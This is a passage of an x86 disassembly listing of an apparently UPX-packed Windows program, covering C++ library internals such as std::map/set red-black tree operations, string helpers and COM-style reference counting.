		mov	eax, [ebx]
		lea	esi, [ebp+var_8]
		mov	[ebp+var_10], eax
		call	sub_405E27
		lea	edi, [ebp+var_10]
		mov	esi, eax
		call	sub_4052D2
		test	al, al
		jnz	short loc_405758
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		add	eax, 10h
		call	sub_406F5E
		test	al, al
		jz	short loc_405773


loc_405758:				; CODE XREF: sub_405603+141j
		mov	ecx, [ebp+arg_C]
		mov	eax, [ecx+8]
		cmp	byte ptr [eax+49h], 0
		push	[ebp+arg_4]
		mov	esi, ebx
		jnz	short loc_4056F7
		mov	ecx, [ebp+var_4]
		push	1
		jmp	loc_405625
; ---------------------------------------------------------------------------


loc_405773:				; CODE XREF: sub_405603+5Ej
					; sub_405603+96j ...
		push	[ebp+arg_4]
		push	ebx
		lea	ebx, [ebp+var_14]
		call	sub_405B2E
		mov	edx, [eax]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], edx
		mov	eax, [eax+4]
		mov	[ecx+4], eax
		mov	eax, ecx


loc_40578E:				; CODE XREF: sub_405603+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_405603	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405795	proc near		; CODE XREF: sub_4052AA+13p

var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		push	ecx
		push	ecx
		mov	eax, [esi+18h]
		mov	ecx, [esi]
		mov	edx, [eax]
		push	eax
		push	ecx
		push	edx
		push	ecx
		lea	eax, [esp+18h+var_8]
		push	eax
		mov	eax, esi
		call	sub_405BF2
		push	dword ptr [esi+18h]
		call	sub_40AC11
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi+1Ch], 0
		pop	ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_405795	endp


; =============== S U B	R O U T	I N E =======================================



sub_4057C9	proc near		; CODE XREF: sub_4051B7+D7p
					; sub_417ECD+E6p ...
		mov	eax, [esi]
		test	eax, eax
		jnz	short loc_4057DA
		call	sub_40B27B
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4057DE


loc_4057DA:				; CODE XREF: sub_4057C9+4j
		mov	eax, [eax]
		jmp	short loc_4057E0
; ---------------------------------------------------------------------------


loc_4057DE:				; CODE XREF: sub_4057C9+Fj
		xor	eax, eax


loc_4057E0:				; CODE XREF: sub_4057C9+13j
		mov	ecx, [esi+4]
		cmp	ecx, [eax+18h]
		jnz	short loc_4057ED
		call	sub_40B27B


loc_4057ED:				; CODE XREF: sub_4057C9+1Dj
		mov	eax, [esi+4]
		add	eax, 10h
		retn
sub_4057C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4057F4	proc near		; CODE XREF: sub_4050AA+42p
		push	0
		mov	eax, offset loc_41C48E
		call	sub_40C46D
		mov	edi, [ebp+8]
		and	dword ptr [edi+4], 0
		lea	esi, [edi+8]
		mov	dword ptr [edi], offset	off_423EF0
		call	sub_401E9F
		mov	dword ptr [esi], offset	off_423FF8
		mov	dword ptr [esi+24h], offset off_424010
		mov	dword ptr [esi+28h], (offset loc_42403F+1)
		mov	dword ptr [esi+2Ch], offset off_42406C
		mov	dword ptr [esi+30h], offset off_4240E8
		mov	dword ptr [esi+34h], offset off_424114
		mov	dword ptr [esi+38h], offset off_424130
		mov	dword ptr [esi+40h], offset off_42414C
		mov	dword ptr [esi+44h], offset off_424160
		mov	dword ptr [esi+48h], offset off_424184
		mov	dword ptr [esi+4Ch], offset off_4241D4
		mov	[esi+50h], edi
		and	dword ptr [ebp-4], 0
		mov	ecx, dword_42EE90
		mov	eax, [ecx]
		call	dword ptr [eax+4]
		mov	eax, edi
		call	sub_40C50C
		retn	4
sub_4057F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40587D	proc near		; CODE XREF: UPX0:00405977p
		push	4
		mov	eax, offset loc_41C468
		call	sub_40C46D
		mov	[ebp-10h], ecx
		mov	dword ptr [ecx], offset	off_423EF0
		and	dword ptr [ebp-4], 0
		lea	esi, [ecx+8]
		mov	dword ptr [ecx+4], 0C0000001h
		mov	ecx, esi
		call	sub_4024D9
		mov	ecx, dword_42EE90
		mov	eax, [ecx]
		call	dword ptr [eax+8]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, esi
		call	sub_401F64
		call	sub_40C50C
		retn
sub_40587D	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		inc	dword ptr [eax+4]
		mov	eax, [eax+4]
		retn	4
; ---------------------------------------------------------------------------


loc_4058D0:				; DATA XREF: UPX0:00423EF8o
		mov	ecx, [esp+4]
		dec	dword ptr [ecx+4]
		push	esi
		mov	esi, [ecx+4]
		jnz	short loc_4058E8
		test	ecx, ecx
		jz	short loc_4058E8
		mov	eax, [ecx]
		push	1
		call	dword ptr [eax+0Ch]


loc_4058E8:				; CODE XREF: UPX0:004058DBj
					; UPX0:004058DFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4058EE	proc near		; DATA XREF: UPX0:off_423EF0o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		xor	esi, esi
		cmp	ebx, esi
		jnz	short loc_405903
		mov	eax, 80004003h
		jmp	short loc_405933
; ---------------------------------------------------------------------------


loc_405903:				; CODE XREF: sub_4058EE+Cj
		mov	eax, [ebp+arg_4]
		mov	[ebx], esi
		call	sub_40141D
		test	eax, eax
		mov	eax, [ebp+arg_0]
		jz	short loc_40591E
		mov	[ebx], eax
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		jmp	short loc_405931
; ---------------------------------------------------------------------------


loc_40591E:				; CODE XREF: sub_4058EE+24j
		push	[ebp+arg_4]
		add	eax, 8
		push	eax
		mov	eax, offset off_423D48
		call	sub_4015BD
		mov	esi, eax


loc_405931:				; CODE XREF: sub_4058EE+2Ej
		mov	eax, esi


loc_405933:				; CODE XREF: sub_4058EE+13j
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_4058EE	endp

; ---------------------------------------------------------------------------


loc_405939:				; CODE XREF: UPX0:0040718Bj
					; UPX0:004071A9j ...
		mov	eax, [esp+4]
		mov	eax, [eax+2Ch]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		retn	4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40717C


loc_405949:				; CODE XREF: sub_40717C+5j
					; UPX0:00407195j ...
		mov	eax, [esp+arg_0]
		mov	eax, [eax+2Ch]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		retn	4
; END OF FUNCTION CHUNK	FOR sub_40717C
; ---------------------------------------------------------------------------


loc_405959:				; CODE XREF: UPX0:004071B3j
					; UPX0:004071DBj ...
		push	dword ptr [esp+0Ch]
		mov	eax, [esp+8]
		mov	eax, [eax+2Ch]
		push	dword ptr [esp+0Ch]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx]
		retn	0Ch

; =============== S U B	R O U T	I N E =======================================



sub_405970	proc near		; DATA XREF: UPX0:00424008o
		mov	eax, [ecx+50h]
		retn
sub_405970	endp

; ---------------------------------------------------------------------------


loc_405974:				; DATA XREF: UPX0:00423EFCo
		push	esi
		mov	esi, ecx
		call	sub_40587D
		test	byte ptr [esp+8], 1
		jz	short loc_40598A
		push	esi
		call	sub_40AC11
		pop	ecx


loc_40598A:				; CODE XREF: UPX0:00405981j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_405990:				; CODE XREF: UPX0:0041C463j
					; UPX0:0041C489j
		jmp	sub_401F64

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405995	proc near		; CODE XREF: sub_4054D8+1Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		mov	esi, ecx
		call	sub_405FED
		test	al, al
		jz	short loc_4059C7
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_4059B4
		mov	eax, [esi+4]
		jmp	short loc_4059B7
; ---------------------------------------------------------------------------


loc_4059B4:				; CODE XREF: sub_405995+18j
		lea	eax, [esi+4]


loc_4059B7:				; CODE XREF: sub_405995+1Dj
		push	[ebp+arg_4]
		sub	edi, eax
		push	edi
		push	esi
		mov	ecx, esi
		call	sub_405446
		jmp	short loc_405A01
; ---------------------------------------------------------------------------


loc_4059C7:				; CODE XREF: sub_405995+12j
		push	0
		push	[ebp+arg_4]
		mov	ecx, esi
		call	sub_405A92
		test	al, al
		jz	short loc_4059FF
		mov	ecx, [esi+18h]
		cmp	ecx, 10h
		jb	short loc_4059E4
		mov	eax, [esi+4]
		jmp	short loc_4059E7
; ---------------------------------------------------------------------------


loc_4059E4:				; CODE XREF: sub_405995+48j
		lea	eax, [esi+4]


loc_4059E7:				; CODE XREF: sub_405995+4Dj
		push	[ebp+arg_4]
		push	edi
		push	ecx
		push	eax
		call	sub_4049C9
		add	esp, 10h
		push	[ebp+arg_4]
		mov	ecx, esi
		call	sub_405A76


loc_4059FF:				; CODE XREF: sub_405995+40j
		mov	eax, esi


loc_405A01:				; CODE XREF: sub_405995+30j
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_405995	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A07	proc near		; CODE XREF: sub_405446+33p
					; sub_405446+3Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, ecx
		cmp	[esi+14h], edi
		jnb	short loc_405A1B
		call	sub_40ABCE


loc_405A1B:				; CODE XREF: sub_405A07+Dj
		mov	eax, [esi+14h]
		sub	eax, edi
		cmp	eax, [ebp+arg_4]
		jnb	short loc_405A28
		mov	[ebp+arg_4], eax


loc_405A28:				; CODE XREF: sub_405A07+1Cj
		cmp	[ebp+arg_4], 0
		jbe	short loc_405A6E
		mov	ecx, [esi+18h]
		push	ebx
		lea	edx, [esi+4]
		cmp	ecx, 10h
		jb	short loc_405A3E
		mov	ebx, [edx]
		jmp	short loc_405A40
; ---------------------------------------------------------------------------


loc_405A3E:				; CODE XREF: sub_405A07+31j
		mov	ebx, edx


loc_405A40:				; CODE XREF: sub_405A07+35j
		cmp	ecx, 10h
		jb	short loc_405A47
		mov	edx, [edx]


loc_405A47:				; CODE XREF: sub_405A07+3Cj
		sub	eax, [ebp+arg_4]
		add	ebx, edi
		add	ebx, [ebp+arg_4]
		push	eax
		push	ebx
		sub	ecx, edi
		push	ecx
		add	edx, edi
		push	edx
		call	sub_4049E5
		mov	eax, [esi+14h]
		sub	eax, [ebp+arg_4]
		add	esp, 10h
		push	eax
		mov	ecx, esi
		call	sub_405A76
		pop	ebx


loc_405A6E:				; CODE XREF: sub_405A07+25j
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	8
sub_405A07	endp


; =============== S U B	R O U T	I N E =======================================



sub_405A76	proc near		; CODE XREF: sub_405138+Cp
					; sub_40515A+Cp ...

arg_0		= dword	ptr  4

		cmp	dword ptr [ecx+18h], 10h
		mov	eax, [esp+arg_0]
		mov	[ecx+14h], eax
		jb	short loc_405A88
		mov	ecx, [ecx+4]
		jmp	short loc_405A8B
; ---------------------------------------------------------------------------


loc_405A88:				; CODE XREF: sub_405A76+Bj
		add	ecx, 4


loc_405A8B:				; CODE XREF: sub_405A76+10j
		mov	byte ptr [ecx+eax], 0
		retn	4
sub_405A76	endp


; =============== S U B	R O U T	I N E =======================================



sub_405A92	proc near		; CODE XREF: sub_405446+49p
					; sub_405995+39p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFEh
		jbe	short loc_405AA4
		call	sub_40AB96


loc_405AA4:				; CODE XREF: sub_405A92+Bj
		cmp	[esi+18h], edi
		jnb	short loc_405AB6
		push	dword ptr [esi+14h]
		mov	ecx, esi
		push	edi
		call	sub_405F0B
		jmp	short loc_405AE3
; ---------------------------------------------------------------------------


loc_405AB6:				; CODE XREF: sub_405A92+15j
		cmp	[esp+8+arg_4], 0
		jz	short loc_405AD7
		cmp	edi, 10h
		jnb	short loc_405AD7
		mov	eax, [esi+14h]
		cmp	edi, eax
		jnb	short loc_405ACB
		mov	eax, edi


loc_405ACB:				; CODE XREF: sub_405A92+35j
		push	eax
		push	1
		mov	ecx, esi
		call	sub_4054FB
		jmp	short loc_405AE3
; ---------------------------------------------------------------------------


loc_405AD7:				; CODE XREF: sub_405A92+29j
					; sub_405A92+2Ej
		test	edi, edi
		jnz	short loc_405AE3
		push	edi
		mov	ecx, esi
		call	sub_405A76


loc_405AE3:				; CODE XREF: sub_405A92+22j
					; sub_405A92+43j ...
		xor	eax, eax
		cmp	eax, edi
		sbb	eax, eax
		pop	edi
		neg	eax
		pop	esi
		retn	8
sub_405A92	endp


; =============== S U B	R O U T	I N E =======================================



sub_405AF0	proc near		; CODE XREF: sub_4051B7+89p
					; sub_406482+3Dp

arg_0		= dword	ptr  4

		and	dword ptr [esi+14h], 0
		push	ebx
		xor	eax, eax
		mov	dword ptr [esi+18h], 7
		push	0FFFFFFFFh
		mov	[esi+4], ax
		mov	eax, [esp+8+arg_0]
		push	esi
		xor	ebx, ebx
		call	sub_406028
		mov	eax, esi
		pop	ebx
		retn	4
sub_405AF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_405B16	proc near		; CODE XREF: sub_405546+6Cp
					; sub_4055BC+3Fp ...
		cmp	dword ptr [eax+18h], 8
		mov	[eax+14h], ecx
		jb	short loc_405B24
		mov	eax, [eax+4]
		jmp	short loc_405B27
; ---------------------------------------------------------------------------


loc_405B24:				; CODE XREF: sub_405B16+7j
		add	eax, 4


loc_405B27:				; CODE XREF: sub_405B16+Cj
		xor	edx, edx
		mov	[eax+ecx*2], dx
		retn
sub_405B16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405B2E	proc near		; CODE XREF: sub_405603+177p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+18h]
		push	edi
		mov	edi, [eax+4]
		mov	[ebp+var_4], eax
		mov	byte ptr [ebp+var_8], 1
		jmp	short loc_405B64
; ---------------------------------------------------------------------------


loc_405B48:				; CODE XREF: sub_405B2E+3Aj
		mov	ecx, [ebp+arg_4]
		lea	eax, [edi+10h]
		mov	[ebp+var_4], edi
		call	sub_406F5E
		mov	byte ptr [ebp+var_8], al
		test	al, al
		jz	short loc_405B61
		mov	edi, [edi]
		jmp	short loc_405B64
; ---------------------------------------------------------------------------


loc_405B61:				; CODE XREF: sub_405B2E+2Dj
		mov	edi, [edi+8]


loc_405B64:				; CODE XREF: sub_405B2E+18j
					; sub_405B2E+31j
		cmp	byte ptr [edi+49h], 0
		jz	short loc_405B48
		cmp	byte ptr [ebp+var_8], 0
		mov	edi, [ebp+var_4]
		mov	eax, [esi]
		mov	[ebp+var_C], edi
		mov	[ebp+var_10], eax
		jz	short loc_405BC7
		mov	ecx, [esi+18h]
		mov	ecx, [ecx]
		lea	edi, [ebp+var_18]
		lea	esi, [ebp+var_10]
		mov	[ebp+var_14], ecx
		mov	[ebp+var_18], eax
		call	sub_4052D2
		test	al, al
		jz	short loc_405BB9
		push	[ebp+arg_4]
		mov	esi, [ebp+arg_0]
		push	1


loc_405B9D:				; CODE XREF: sub_405B2E+AEj
		mov	ecx, [ebp+var_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_405CA8
		mov	ecx, [eax]
		mov	eax, [eax+4]
		mov	[ebx], ecx
		mov	[ebx+4], eax
		mov	byte ptr [ebx+8], 1
		jmp	short loc_405BEA
; ---------------------------------------------------------------------------


loc_405BB9:				; CODE XREF: sub_405B2E+65j
		lea	esi, [ebp+var_10]
		call	sub_405E74
		mov	edi, [ebp+var_C]
		mov	esi, [ebp+arg_0]


loc_405BC7:				; CODE XREF: sub_405B2E+4Bj
		mov	eax, [ebp+arg_4]
		lea	ecx, [edi+10h]
		call	sub_406F5E
		test	al, al
		jz	short loc_405BDE
		push	[ebp+arg_4]
		push	[ebp+var_8]
		jmp	short loc_405B9D
; ---------------------------------------------------------------------------


loc_405BDE:				; CODE XREF: sub_405B2E+A6j
		mov	eax, [ebp+var_10]
		mov	[ebx], eax
		mov	[ebx+4], edi
		mov	byte ptr [ebx+8], 0


loc_405BEA:				; CODE XREF: sub_405B2E+89j
		pop	edi
		mov	eax, ebx
		pop	esi
		leave
		retn	8
sub_405B2E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405BF2	proc near		; CODE XREF: sub_405795+1Ap

var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		mov	ebx, eax
		mov	eax, [ebx+18h]
		mov	eax, [eax]
		push	esi
		mov	[ebp+var_8], eax
		mov	eax, [ebx]
		push	edi
		lea	edi, [ebp+var_C]
		lea	esi, [ebp+arg_4]
		mov	[ebp+var_C], eax
		call	sub_4052D2
		test	al, al
		jz	short loc_405C85
		mov	eax, [ebx+18h]
		mov	[ebp+var_8], eax
		mov	eax, [ebx]
		lea	edi, [ebp+var_C]
		lea	esi, [ebp+arg_C]
		mov	[ebp+var_C], eax
		call	sub_4052D2
		test	al, al
		jz	short loc_405C85
		mov	eax, [ebx+18h]
		push	dword ptr [eax+4]
		mov	ecx, ebx
		call	sub_40664D
		mov	eax, [ebx+18h]
		mov	[eax+4], eax
		mov	eax, [ebx+18h]
		and	dword ptr [ebx+1Ch], 0
		mov	[eax], eax
		mov	eax, [ebx+18h]
		mov	[eax+8], eax
		mov	eax, [ebx+18h]
		mov	ecx, [eax]
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ecx
		mov	ecx, [ebx]
		mov	[eax], ecx
		jmp	short loc_405CA1
; ---------------------------------------------------------------------------


loc_405C66:				; CODE XREF: sub_405BF2+A0j
		mov	eax, [ebp+arg_8]
		mov	edi, [ebp+arg_4]
		lea	esi, [ebp+arg_4]
		mov	[ebp+var_8], eax
		call	sub_405E27
		push	[ebp+var_8]
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		push	ebx
		call	sub_406130


loc_405C85:				; CODE XREF: sub_405BF2+25j
					; sub_405BF2+3Fj
		lea	edi, [ebp+arg_C]
		lea	esi, [ebp+arg_4]
		call	sub_4052D2
		test	al, al
		jz	short loc_405C66
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	ebx, [ebx]
		mov	[eax], ebx
		mov	[eax+4], ecx


loc_405CA1:				; CODE XREF: sub_405BF2+72j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	14h
sub_405BF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_405CA8	proc near		; CODE XREF: sub_405603+25p
					; sub_405B2E+76p
		push	48h
		mov	eax, offset loc_41C442
		call	sub_40C46D
		mov	edi, ecx
		cmp	dword ptr [esi+1Ch], 4924923h
		jb	short loc_405CF1
		push	offset aMapSetTTooLong ; "map/set<T> too long"
		lea	ecx, [ebp-2Ch]
		call	sub_405138
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-2Ch]
		push	eax
		lea	ecx, [ebp-54h]
		call	sub_404A01
		push	offset dword_426E48
		lea	eax, [ebp-54h]
		push	eax
		mov	dword ptr [ebp-54h], offset off_41D4F4
		call	sub_40C03B


loc_405CF1:				; CODE XREF: sub_405CA8+15j
		push	dword ptr [ebp+10h]
		mov	eax, [esi+18h]
		push	eax
		push	edi
		push	eax
		call	sub_406482
		inc	dword ptr [esi+1Ch]
		mov	ebx, eax
		mov	eax, [esi+18h]
		cmp	edi, eax
		jnz	short loc_405D18
		mov	[eax+4], ebx
		mov	eax, [esi+18h]
		mov	[eax], ebx
		mov	eax, [esi+18h]
		jmp	short loc_405D36
; ---------------------------------------------------------------------------


loc_405D18:				; CODE XREF: sub_405CA8+61j
		cmp	byte ptr [ebp+0Ch], 0
		jz	short loc_405D2B
		mov	[edi], ebx
		mov	eax, [esi+18h]
		cmp	edi, [eax]
		jnz	short loc_405D39
		mov	[eax], ebx
		jmp	short loc_405D39
; ---------------------------------------------------------------------------


loc_405D2B:				; CODE XREF: sub_405CA8+74j
		mov	[edi+8], ebx
		mov	eax, [esi+18h]
		cmp	edi, [eax+8]
		jnz	short loc_405D39


loc_405D36:				; CODE XREF: sub_405CA8+6Ej
		mov	[eax+8], ebx


loc_405D39:				; CODE XREF: sub_405CA8+7Dj
					; sub_405CA8+81j ...
		mov	edi, ebx
		lea	eax, [ebx+4]
		jmp	loc_405DCD
; ---------------------------------------------------------------------------


loc_405D43:				; CODE XREF: sub_405CA8+12Bj
		mov	ecx, [eax]
		mov	edx, [ecx+4]
		cmp	ecx, [edx]
		jnz	short loc_405D81
		mov	edx, [edx+8]
		cmp	byte ptr [edx+48h], 0
		jz	short loc_405D89
		cmp	edi, [ecx+8]
		jnz	short loc_405D62
		push	esi
		mov	edi, ecx
		call	sub_4063D6


loc_405D62:				; CODE XREF: sub_405CA8+B0j
		mov	eax, [edi+4]
		mov	byte ptr [eax+48h], 1
		mov	eax, [edi+4]
		mov	eax, [eax+4]
		mov	byte ptr [eax+48h], 0
		mov	eax, [edi+4]
		mov	ecx, [eax+4]
		push	esi
		call	sub_406416
		jmp	short loc_405DCA
; ---------------------------------------------------------------------------


loc_405D81:				; CODE XREF: sub_405CA8+A2j
		mov	edx, [edx]
		cmp	byte ptr [edx+48h], 0
		jnz	short loc_405DA1


loc_405D89:				; CODE XREF: sub_405CA8+ABj
		mov	byte ptr [ecx+48h], 1
		mov	byte ptr [edx+48h], 1
		mov	ecx, [eax]
		mov	ecx, [ecx+4]
		mov	byte ptr [ecx+48h], 0
		mov	eax, [eax]
		mov	edi, [eax+4]
		jmp	short loc_405DCA
; ---------------------------------------------------------------------------


loc_405DA1:				; CODE XREF: sub_405CA8+DFj
		cmp	edi, [ecx]
		jnz	short loc_405DAD
		push	esi
		mov	edi, ecx
		call	sub_406416


loc_405DAD:				; CODE XREF: sub_405CA8+FBj
		mov	eax, [edi+4]
		mov	byte ptr [eax+48h], 1
		mov	eax, [edi+4]
		mov	eax, [eax+4]
		mov	byte ptr [eax+48h], 0
		mov	eax, [edi+4]
		mov	ecx, [eax+4]
		push	esi
		call	sub_4063D6


loc_405DCA:				; CODE XREF: sub_405CA8+D7j
					; sub_405CA8+F7j
		lea	eax, [edi+4]


loc_405DCD:				; CODE XREF: sub_405CA8+96j
		mov	ecx, [eax]
		cmp	byte ptr [ecx+48h], 0
		jz	loc_405D43
		mov	eax, [esi+18h]
		mov	eax, [eax+4]
		mov	byte ptr [eax+48h], 1
		mov	eax, [ebp+8]
		mov	ecx, [esi]
		mov	[eax+4], ebx
		mov	[eax], ecx
		call	sub_40C50C
		retn	0Ch
sub_405CA8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_405DF5	proc near		; CODE XREF: sub_4051B7+30p
					; sub_417ECD+2Ap

arg_0		= dword	ptr  4

		mov	eax, [eax+18h]
		push	esi
		mov	esi, [eax+4]
		push	edi
		mov	edi, eax
		jmp	short loc_405E1A
; ---------------------------------------------------------------------------


loc_405E01:				; CODE XREF: sub_405DF5+29j
		mov	eax, [esp+8+arg_0]
		lea	ecx, [esi+10h]
		call	sub_406F5E
		test	al, al
		jz	short loc_405E16
		mov	esi, [esi+8]
		jmp	short loc_405E1A
; ---------------------------------------------------------------------------


loc_405E16:				; CODE XREF: sub_405DF5+1Aj
		mov	edi, esi
		mov	esi, [esi]


loc_405E1A:				; CODE XREF: sub_405DF5+Aj
					; sub_405DF5+1Fj
		cmp	byte ptr [esi+49h], 0
		jz	short loc_405E01
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_405DF5	endp


; =============== S U B	R O U T	I N E =======================================



sub_405E27	proc near		; CODE XREF: sub_405603+130p
					; sub_405BF2+80p ...
		push	ebx
		xor	ebx, ebx
		cmp	[esi], ebx
		jnz	short loc_405E33
		call	sub_40B27B


loc_405E33:				; CODE XREF: sub_405E27+5j
		mov	eax, [esi+4]
		cmp	[eax+49h], bl
		jz	short loc_405E42
		call	sub_40B27B
		jmp	short loc_405E70
; ---------------------------------------------------------------------------


loc_405E42:				; CODE XREF: sub_405E27+12j
		mov	ecx, [eax+8]
		cmp	[ecx+49h], bl
		jnz	short loc_405E65
		jmp	short loc_405E4E
; ---------------------------------------------------------------------------


loc_405E4C:				; CODE XREF: sub_405E27+2Cj
		mov	ecx, eax


loc_405E4E:				; CODE XREF: sub_405E27+23j
		mov	eax, [ecx]
		cmp	[eax+49h], bl
		jz	short loc_405E4C
		mov	[esi+4], ecx
		jmp	short loc_405E70
; ---------------------------------------------------------------------------


loc_405E5A:				; CODE XREF: sub_405E27+44j
		mov	ecx, [esi+4]
		cmp	ecx, [eax+8]
		jnz	short loc_405E6D
		mov	[esi+4], eax


loc_405E65:				; CODE XREF: sub_405E27+21j
		mov	eax, [eax+4]
		cmp	[eax+49h], bl
		jz	short loc_405E5A


loc_405E6D:				; CODE XREF: sub_405E27+39j
		mov	[esi+4], eax


loc_405E70:				; CODE XREF: sub_405E27+19j
					; sub_405E27+31j
		mov	eax, esi
		pop	ebx
		retn
sub_405E27	endp


; =============== S U B	R O U T	I N E =======================================



sub_405E74	proc near		; CODE XREF: sub_405603+CFp
					; sub_405B2E+8Ep
		push	ebx
		xor	ebx, ebx
		cmp	[esi], ebx
		jnz	short loc_405E80
		call	sub_40B27B


loc_405E80:				; CODE XREF: sub_405E74+5j
		mov	eax, [esi+4]
		cmp	[eax+49h], bl
		jz	short loc_405E95
		mov	eax, [eax+8]
		mov	[esi+4], eax
		cmp	[eax+49h], bl
		jz	short loc_405ED1
		jmp	short loc_405EC7
; ---------------------------------------------------------------------------


loc_405E95:				; CODE XREF: sub_405E74+12j
		mov	ecx, [eax]
		cmp	[ecx+49h], bl
		jnz	short loc_405EB7
		jmp	short loc_405EA0
; ---------------------------------------------------------------------------


loc_405E9E:				; CODE XREF: sub_405E74+32j
		mov	ecx, eax


loc_405EA0:				; CODE XREF: sub_405E74+28j
		mov	eax, [ecx+8]
		cmp	[eax+49h], bl
		jz	short loc_405E9E
		mov	[esi+4], ecx
		jmp	short loc_405ED1
; ---------------------------------------------------------------------------


loc_405EAD:				; CODE XREF: sub_405E74+49j
		mov	ecx, [esi+4]
		cmp	ecx, [eax]
		jnz	short loc_405EBF
		mov	[esi+4], eax


loc_405EB7:				; CODE XREF: sub_405E74+26j
		mov	eax, [eax+4]
		cmp	[eax+49h], bl
		jz	short loc_405EAD


loc_405EBF:				; CODE XREF: sub_405E74+3Ej
		mov	ecx, [esi+4]
		cmp	[ecx+49h], bl
		jz	short loc_405ECE


loc_405EC7:				; CODE XREF: sub_405E74+1Fj
		call	sub_40B27B
		jmp	short loc_405ED1
; ---------------------------------------------------------------------------


loc_405ECE:				; CODE XREF: sub_405E74+51j
		mov	[esi+4], eax


loc_405ED1:				; CODE XREF: sub_405E74+1Dj
					; sub_405E74+37j ...
		mov	eax, esi
		pop	ebx
		retn
sub_405E74	endp

; ---------------------------------------------------------------------------
		push	esi
		push	dword ptr [esp+8]
		mov	esi, ecx
		call	sub_404B1F
		mov	dword ptr [esi], offset	off_41D4F4
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_405EED	proc near		; CODE XREF: sub_40725D+3j
					; DATA XREF: UPX0:00423FFCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		mov	eax, esi
		call	sub_401F64
		test	[esp+4+arg_0], 1
		jz	short loc_405F05
		push	esi
		call	sub_40AC11
		pop	ecx


loc_405F05:				; CODE XREF: sub_405EED+Fj
		mov	eax, esi
		pop	esi
		retn	4
sub_405EED	endp


; =============== S U B	R O U T	I N E =======================================



sub_405F0B	proc near		; CODE XREF: sub_405A92+1Dp
		push	0Ch
		mov	eax, offset loc_41C166
		call	sub_40C4A0
		mov	edi, ecx
		mov	[ebp-18h], edi
		mov	esi, [ebp+8]
		or	esi, 0Fh
		cmp	esi, 0FFFFFFFEh
		jbe	short loc_405F2C
		mov	esi, [ebp+8]
		jmp	short loc_405F51
; ---------------------------------------------------------------------------


loc_405F2C:				; CODE XREF: sub_405F0B+1Aj
		xor	edx, edx
		push	3
		mov	eax, esi
		pop	ebx
		div	ebx
		mov	ecx, [edi+18h]
		mov	[ebp-14h], ecx
		shr	dword ptr [ebp-14h], 1
		mov	edx, [ebp-14h]
		cmp	eax, edx
		jnb	short loc_405F51
		push	0FFFFFFFEh
		pop	eax
		sub	eax, edx
		cmp	ecx, eax
		ja	short loc_405F51
		lea	esi, [edx+ecx]


loc_405F51:				; CODE XREF: sub_405F0B+1Fj
					; sub_405F0B+38j ...
		and	dword ptr [ebp-4], 0
		lea	eax, [esi+1]
		push	0
		push	eax
		call	sub_406FCF
		pop	ecx
		pop	ecx
